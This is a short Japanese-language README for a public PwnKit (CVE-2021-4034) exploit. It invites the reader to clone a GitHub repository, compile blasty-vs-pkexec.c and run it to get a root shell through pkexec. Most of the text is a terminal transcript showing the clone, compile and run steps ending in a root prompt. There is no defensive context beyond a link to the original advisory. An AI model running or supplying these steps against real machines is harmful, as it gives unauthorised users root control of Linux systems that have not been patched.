
CVE-2021-4034(PwnKit)のエクスプロイト。pkexecを介してrootへの権限昇格を行い、シンプルなシェル実行を提供します。
polkit権限昇格エクスプロイトの一日
単に ./blasty を実行して、ルートシェルをお楽しみください。
実際の作者による元の通知は -> こちら
エクスプロイトが成功すると、すぐにルートシェルが得られます:
(user@tecnokarita)-[~/Descargas] $> git clone https://github.com/T3cnokarita/CVE-2021-4034.git
(user@tecnokarita)-[~/Descargas/CVE-2021-4034] $> gcc -o blasty blasty-vs-pkexec.c
(user@tecnokarita)-[~/Descargas/CVE-2021-4034] $> ./blasty
# whoami
root
# exit